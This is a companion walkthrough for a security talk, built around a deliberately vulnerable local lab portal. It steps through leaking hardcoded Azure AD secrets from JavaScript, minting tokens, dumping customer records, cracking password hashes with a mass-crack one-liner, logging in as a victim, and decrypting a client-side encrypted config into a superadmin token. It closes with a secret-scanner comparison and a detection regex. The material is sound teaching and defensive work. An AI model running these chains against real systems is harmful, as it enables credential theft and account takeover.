InsecureShield — Reproduce the Talk at Home

A step-by-step walkthrough of two production-grade credential exposure chains.
30 minutes from clone to "I saw it with my own eyes."

Talk: Secrets That Survive Everything · Speaker: @secretsifter Repo: github.com/secretsifter/insecureshield-demo
Safety note. All credentials in InsecureShield are synthetic — pattern-valid but no working external service stands behind them. The portal also has its own local backend that mimics the Azure APIM token-exchange flow, so every chain replays end-to-end against localhost:3000 with zero external dependencies. Treat it like a CTF target on a private network. Do not deploy it to a public host.
What you'll do in the next 30 minutes ① Clone and run InsecureShield (5 min) · ② Chain 1 — Azure AD credentials in main.js → 4,999 customer records → hash-crack → log in as the customer (15 min) · ③ Chain 2 — encrypted blob decrypted with decrypt.py → superadmin token → DB connection string (10 min)

1Setup — 5 minutes

Prerequisites: Node.js 18+ and npm. A modern browser with DevTools (Chrome / Firefox / Safari). Optional but recommended: Burp Suite Community Edition for the live-replay segments.

git clone https://github.com/secretsifter/insecureshield-demo.git
cd insecureshield-demo
npm install
npm start

The app listens on http://localhost:3000. Open the URL — you should see the "InsecureShield Client Portal" login page.

The demo ships with three small helper scripts at the project root — you'll use them in Chain 1 (hash crack) and Chain 2 (blob decrypt):

Helper scripts in this repo

All three live at the root of the cloned repo (next to server.js) — that's where the relative-path reads expect to find each other. Run them from the project directory: cd insecureshield-demo && python3 decrypt.py.

No pip install required for either script — both run on stock Python 3.

2Chain 1 — Azure AD credentials in JavaScript

This is the chain that started the talk. Two bug-bounty reports flagged "hardcoded credentials" and stopped there. The question that wouldn't go away: what do they actually unlock?

2.1The HTML-comment leak

Action: right-click anywhere on the login page → View Page Source. Or open view-source:http://localhost:3000/.

Scroll to the top of the HTML. You'll see comments that look like a TODO note from a developer:

<!-- Internal API config — TODO: move to vault before prod release
     api_gateway_url:       https://acme-portal-api.azure-api.net/v2
     apim-subscription-key: a1b2c3d4e5f6789012345678901234ab
     dev_admin:             admin@acme-portal.com / InsecureShield@2024
     db_conn:                Server=prod-db.acme-portal.internal;Database=AcmePortalDB;User Id=sa;Pas...
-->
What you'll findAPI gateway URL, APIM subscription key, dev admin credentials, prod DB connection string. All visible to anyone who right-clicks.
Why it mattersThe comment says "TODO: move to vault before prod release" — which means it never happened. This is how secrets ship to production. The developer's intent didn't survive the deadline.
Without toolsBrowser DevTools, no JavaScript engagement required. Anyone with a right-click button finds this in seconds.
SecretSifter catchesDB password, admin credentials, and APIM subscription key in the HTML response at HIGH severity, CERTAIN confidence.

2.2The Azure AD application credentials in main.js

Action: open http://localhost:3000/js/main.js directly in your browser. Search for AZURE_AD_CONFIG.

var AZURE_AD_CONFIG = {
    tenantId:    "1a2b3c4d-5e6f-7890-abcd-ef1234567890",
    appId:       "8f4e2d1c-9b3a-4f6e-8a7d-2c1b9e5f4a3d",
    appKey:      "Ins~K3y.qX7vN9bM4dZ8mP2hT5wL1eC6rJ0aFgYi==",
    resourceId:  "https://acme-portal-api.azure-api.net",
    resourceKey: "R7vN3kQ9pX5tL2cD8fG6hJ1mB4sY0aW7eK3rT9zU1nM5oI8jH2vC6bF4yE7wQ0pA==",
    authority:   "https://login.microsoftonline.com/1a2b3c4d-..."
};

var APIM_CONFIG = {
    subscriptionKey: "a1b2c3d4e5f6789012345678901234ab",
    ...
};
What you'll findThe complete OAuth2 client_credentials set: appId (client ID), appKey (client secret), resourceKey (target API access key), and the APIM subscriptionKey in the next config block.
Why it mattersThese values authenticate as the application identity, not a user. Whoever downloads main.js can mint a Bearer token and call every API the application is permitted to call.
Without toolsSearch main.js in DevTools (Cmd+F) for "AZURE", "appKey", or "subscription". The file header reads "Generated by build pipeline" — confirming it wasn't committed to source.
SecretSifter catchesAll values labeled by their developer-given names: appKey, resourceKey, subscriptionKey. Plus tenantId and appId at INFO severity.

2.3Mint an access token — Burp Repeater

The portal's local backend mimics the Azure APIM token-exchange flow. POST the three Azure AD values as headers, the server returns a real Bearer token plus an echoed resource_key.

POST /api/auth/generate-token HTTP/1.1
Host: localhost:3000
Content-Type: application/json
appId:        8f4e2d1c-9b3a-4f6e-8a7d-2c1b9e5f4a3d
appKey:       Ins~K3y.qX7vN9bM4dZ8mP2hT5wL1eC6rJ0aFgYi==
resourceKey:  R7vN3kQ9pX5tL2cD8fG6hJ1mB4sY0aW7eK3rT9zU1nM5oI8jH2vC6bF4yE7wQ0pA==

{}

Expected response (200 OK):

{
  "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9....",
  "resource_key": "R7vN3kQ9pX5tL2cD8fG6hJ1mB4sY0aW7eK3rT9zU1nM5oI8jH2vC6bF4yE7wQ0pA==",
  "token_type":   "Bearer",
  "expires_in":   14400,
  "scope":        "policies.read claims.read users.read"
}

Notice the resource_key echo — a second copy of a secret crosses the wire in the response body. Burp's SecretSifter response scanner picks that up as a separate finding.

2.4Use the token + subscription key — exfiltrate the customer table

The data APIs require both the Bearer token (issued in 2.3) AND the APIM Ocp-Apim-Subscription-Key header — same as a real Azure APIM gateway. Stage a second Repeater tab:

GET /api/users HTTP/1.1
Host: localhost:3000
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9....
Ocp-Apim-Subscription-Key: a1b2c3d4e5f6789012345678901234ab

Expected response: 4,999 customer records. For each customer: id, name, email, dob, phone, ssn, address, plus a passwordHash and salt (steps 2.6 – 2.8 use these).

Quick negative check. Drop either header and resend — the server returns 401 in both cases. That's the gateway requiring both credentials to be valid.

2.5Land the Chain 1 punchline — /api/stats

GET /api/stats HTTP/1.1
Host: localhost:3000
Authorization: Bearer eyJhbGc...
Ocp-Apim-Subscription-Key: a1b2c3d4e5f6789012345678901234ab

Expected response:

{
  "totalCustomers": 4999,
  "totalPolicies":  26,
  "totalClaims":    15,
  "openClaims":     3,
  "totalExposure":  417350
}
Punchline read aloud: "$417,350 in claims exposure across 4,999 customers — from a key the JavaScript handed me."

2.6Post-exfil impact — the response is also a credential dump

The /api/users response from step 2.4 didn't just leak names and emails. Every record carried a passwordHash and a salt. That makes the response a credential dump — and credential dumps fuel account takeover. The hashing scheme is visible in data/db.js:

const salt = crypto.createHash('md5').update(c.id + ':salt').digest('hex').slice(0, 16);
const hash = crypto.createHash('sha256').update(c.password + salt).digest('hex').toUpperCase();

Format: SHA-256(password + salt), uppercase hex. A pentester would identify this from the hash shape alone (64 hex chars = 256 bits = SHA-256). Hashcat mode 1410 fits exactly.

2.7Reverse the captured hash with crack.py

The companion crack.py reads HASH:SALT on stdin and tries every entry in wordlist.txt (51 realistic patterns — password, Pass@1234, P@ssw0rd, Welcome2024, …):

echo 'C123F6BF928BA0182E22850B0D3A56731620D94E493D1741F50BC66C0EFC0A91:cb590adac3c2f4af' \
  | python3 crack.py

Expected output (instant — under 100ms on any laptop):

C123F6BF928BA018…  →  Pass@1234
What you'll findThe captured hash for James Mitchell (CUST-001) cracks to Pass@1234. Mass crack: pipe all 4,999 HASH:SALT pairs from the response through crack.py and watch every weak password fall.
Why it mattersThe hashing is technically "salted" — but salts only defeat rainbow tables, not per-account dictionary attacks. A 51-line wordlist cracks every common password instantly. Real rockyou.txt has 14M entries.
Without toolsReplace crack.py with three lines of Python plus a wordlist, or use hashcat -m 1410 with rockyou.txt — same flow, different tooling.
Mass-crack one-linerPipe the API response through jq:
curl … /api/users | jq -r '.users[] | "\(.passwordHash):\(.salt)"' | python3 crack.py

2.8Log in as the customer — Burp Repeater

Cracking a hash is theoretical until you use the password. Stage one more Repeater request:

POST /api/login HTTP/1.1
Host: localhost:3000
Content-Type: application/json

{"email":"james.mitchell@gmail.com","password":"Pass@1234"}

Expected response:

{
  "IsSuccess":  true,
  "token":     "eyJhbGc...",
  "role":      "customer",
  "name":      "James Mitchell",
  "customerId":"CUST-001"
}

The portal just authenticated you as James Mitchell. With that customer JWT (+ the APIM subscription key) you can read his profile, his policies, his claims — anything the portal exposes for the account.

Chain 1 closing line: "From a leaked subscription key, to 4,999 hashed credentials, to a plaintext password in a 51-line wordlist, to logged in as the customer — in under two minutes. No phishing. No social engineering. Just the JavaScript file the browser downloaded."

3Chain 2 — Client-side encryption is not protection

A developer "knows credentials in JavaScript are bad" and encrypts the config blob. The question: where does the decryption key live? Spoiler — three lines below the ciphertext.

3.1Find the ciphertext and the key — three lines apart

Action: still in main.js, search for ENCRYPTED_SP_CONFIG.

// line 40
var ENCRYPTED_SP_CONFIG = "U2FsdGVkX1+SjyqRr+Wa5TUxIW5JIYPKVVHbdmtqoBoWKiMa4QMcf6rXQ/YFFKJfp...";

// line 43
var SP_CONFIG_KEY = "InsecureShield-Config-Key-2024Q4";

// line 46-48 — decryption runs in the browser at page load
var SECURE_SP = JSON.parse(
    CryptoJS.AES.decrypt(ENCRYPTED_SP_CONFIG, SP_CONFIG_KEY).toString(CryptoJS.enc.Utf8)
);

The prefix U2FsdGVkX1+ is base64 of Salted__ — the signature of a CryptoJS / OpenSSL "passphrase mode" blob. Recognizing that prefix on sight is a useful pentester skill.

What you'll findThe ciphertext, the key, and the decrypt call — all in the same file the browser already downloaded. The encryption protects nothing because the decryption runs client-side.
Why it mattersIf the browser can decrypt it, the key has to be in the browser. This pattern shows up in real engagements every quarter — the developer's intent was reasonable, the threat model was wrong.
Without toolsOpen the InsecureShield page in your browser, open DevTools console, and type window.APP_CONFIG.secureSp. The page already decrypted it on load — you're just reading the result.
SecretSifter catchesENCRYPTED_SP_CONFIG as a HIGH/FIRM finding — the encrypted blob itself is the evidence. No other tool in the comparison flags this pattern.

3.2Reverse the blob with decrypt.py — one line

The demo ships a tiny Python helper at the project root. It wraps the system openssl binary (zero pip-install dependencies). Pipe the blob in on stdin:

echo 'U2FsdGVkX1+SjyqRr+Wa5TUxIW5JIYPKVVHbdmtqoBoWKiMa4QMcf6rXQ/YFFKJfp...' \
  | python3 decrypt.py

Expected output:

{
  "tenantId":    "7c1064ea-b8c7-402f-bb82-76aaccc91dc4",
  "appId":       "9a8b7c6d-5e4f-3a2b-1c0d-ef9876543210",
  "appKey":      "AdmIn~App.Q4-2024.7vR3xW5tY1uO4sD6jF~AcmePortal",
  "resourceId":  "https://acme-portal-api.azure-api.net/admin",
  "resourceKey": "AdminRes.K3y.aB2cD3fG4hJ5kL6mN7oP8qR9sT0u1vW==",
  "authority":   "https://login.microsoftonline.com/7c1064ea-...",
  "scope":       "admin.config.read admin.diagnostics admin.dbconn"
}
The reveal: a second Azure AD application registration was hidden in the blob — different appId, different appKey, different resourceKey from the public values in step 2.2. The "encryption" layer didn't protect a database connection string. It protected a more-privileged Azure app.

3.3Mint a SUPERADMIN token — same endpoint, different keys

The portal's /api/auth/generate-token endpoint accepts both credential sets. The public Azure AD creds (step 2.3) return a regular admin token. The decrypted admin Azure AD creds return a superadmin token with a different scope. Same endpoint, different role.

POST /api/auth/generate-token HTTP/1.1
Host: localhost:3000
Content-Type: application/json
appId:        9a8b7c6d-5e4f-3a2b-1c0d-ef9876543210
appKey:       AdmIn~App.Q4-2024.7vR3xW5tY1uO4sD6jF~AcmePortal
resourceKey:  AdminRes.K3y.aB2cD3fG4hJ5kL6mN7oP8qR9sT0u1vW==

{}

Expected response:

{
  "access_token": "eyJhbGc....",   // role:superadmin, source:sp
  "resource_key": "AdminRes.K3y.aB2cD3fG4hJ5kL6mN7oP8qR9sT0u1vW==",
  "token_type":   "Bearer",
  "expires_in":   14400,
  "scope":        "admin.config.read admin.diagnostics admin.dbconn"
}

3.4Reach the admin endpoint the public token couldn't touch

The superadmin token + the same APIM subscription key now reaches endpoints that returned 403 with the public token in step 2:

GET /api/admin/internal-config HTTP/1.1
Host: localhost:3000
Authorization: Bearer <superadmin token>
Ocp-Apim-Subscription-Key: a1b2c3d4e5f6789012345678901234ab

Expected response:

{
  "IsSuccess": true,
  "config": {
    "jwt_secret_fingerprint": "SHA256:84396fae75145477",
    "db_conn_string":         "Server=prod-db.acme-portal.internal;Database=AcmePortalDB;User Id=sa;Password=X7!kP#9mQvLr3$nBs;",
    "apim_subscription_key":  "a1b2c3d4e5f6789012345678901234ab",
    "admin_email":            "admin@acme-portal.com",
    "internal_services": [
      "https://claims-svc.acme-portal.internal/api/v1",
      "https://policy-svc.acme-portal.internal/api/v1",
      "https://reporting.acme-portal.internal/api"
    ]
  }
}
Punchline read aloud: "The 'encrypted' configuration hid an Azure admin app. That admin app unlocks the production database connection string — including the sa password. The encryption added one openssl call to the attack chain."

4Additional credentials — where else they hide

The three chains aren't the only credentials in the bundle. InsecureShield scatters secrets across several files — each representing a different real-world delivery pattern. Walk these to build the muscle memory for production audits.

4.1/js/env.js — build-time env-var injection

Pattern: Webpack DefinePlugin or NEXT_PUBLIC_* inlining. The developer wrote process.env.STRIPE_SECRET_KEY; the build replaced it with the literal string.

What you'll find: Stripe live key, SendGrid key, AWS access key + secret, Stripe webhook secret, Twilio auth token + account SID, INTERNAL_API_KEY, S3 bucket name. Every one of these visible in Burp's response pane on every page load.

4.2/js/firebase.js — Google Cloud service-account leak

Pattern: Static config import. The developer literally pasted the Firebase service-account JSON into the client bundle.

What you'll find: Google API key, PEM RSA private key, private_key_id, Firebase database URL, service account email, Firebase client_id.

4.3/asset-manifest.json — manifest-file leak

Pattern: The build pipeline emits a manifest of asset paths and config. Often overlooked by scanners that focus on .js files.

What you'll find: AWS region, S3 bucket name, redundant AWS access key + secret, additional API keys with custom prefixes. The manifest is served with a non-JS content type — many scanners skip it.

5Reproduce the 4-tool comparison

This is the segment that closes the talk. Same target. Same Burp proxy. Default rules each tool. Compare what each one finds.

5.1Run the four tools against InsecureShield

For each Burp extension: proxy InsecureShield through Burp, browse the login + dashboard pages, let the passive scanners run. For TruffleHog CLI: run trufflehog filesystem ./dist against the built artifact.

5.2What to expect

ToolUnique credsNotable winsNotable misses
SecretSifter23Encrypted CryptoJS blob · DB password in HTML comment · custom-labeled keysAWS ARN (treated as identifier)
Sensitive Discoverer12 + 4 emailsAWS ARN · Firebase DB URL · PEM markerEncrypted blob · DB password · APIM key · Twilio
Titus9Azure APIM key · PEM key · AWS ARN · MailgunEncrypted blob · Stripe live · Twilio · custom labels
TruffleHog (Burp)8APIM · Mailgun · Stripe · SendGrid · vendor patternsEncrypted blob · PEM key · 4 mislabeled APIM matches

The exact numbers may shift as tools update their detector rules. What stays consistent: no single tool catches everything, and the encrypted blob + the in-HTML DB credential are the two findings that distinguish runtime-aware detection from pattern-matching alone.

6Add your own detection patterns

If you find a credential category that SecretSifter doesn't catch, the patterns are in Patterns.java in the burp-secret-scanner repo. Each pattern is a regex plus a severity, confidence, and label.

// Example pattern entry
new Pattern(
    "stripe_secret_key",            // label (shown to the user)
    Pattern.compile("sk_live_[a-zA-Z0-9]{24,}"),
    Severity.HIGH,
    Confidence.CERTAIN,
    "Stripe live secret key"
);

Add a new pattern, run the test suite (./gradlew test), and submit a pull request. Patterns are reviewed against InsecureShield to confirm they don't introduce false positives. Detectors that catch real-world patterns the community hasn't formalized yet are the most welcome contributions.

7What to do with what you found

If you're a pentester or bug-bounty hunter: don't stop at "credential exists." Walk the chain. Call the token endpoint. Enumerate what the service principal is permitted to do. The frontend code often documents the backend endpoints you can then call.

If you're a developer: an environment variable in GitHub Secrets is protected; the same value, inlined into main.bundle.js by webpack, is on every device that loaded your site. The variable name didn't change. The trust model did. Use a secrets manager (Azure Key Vault, AWS Secrets Manager) for anything sensitive, and prefer the Backend-for-Frontend pattern so credentials never leave the server.

If you're security leadership: add an artifact-scan stage to the pipeline. After the build produces the bundle, before deployment, scan the actual files the visitor will download. This is the closest thing to "shift-left for the runtime layer." Combine with runtime detection (browser extension, Burp extension, or proxy-based scanner) for the layer artifact scans don't reach (SSR state, runtime-fetched config, lazy chunks).

Bottom line. The runtime layer is the only layer every attacker always sees. It is also the only layer where no industry-mature automated tool combines all four required properties (black-box, runtime-observing, encrypted-blob detection, noise-suppressed). InsecureShield is a target you can practice against. SecretSifter is one attempt at filling the gap. The talk argues that the gap is structural — and structural gaps deserve structural answers.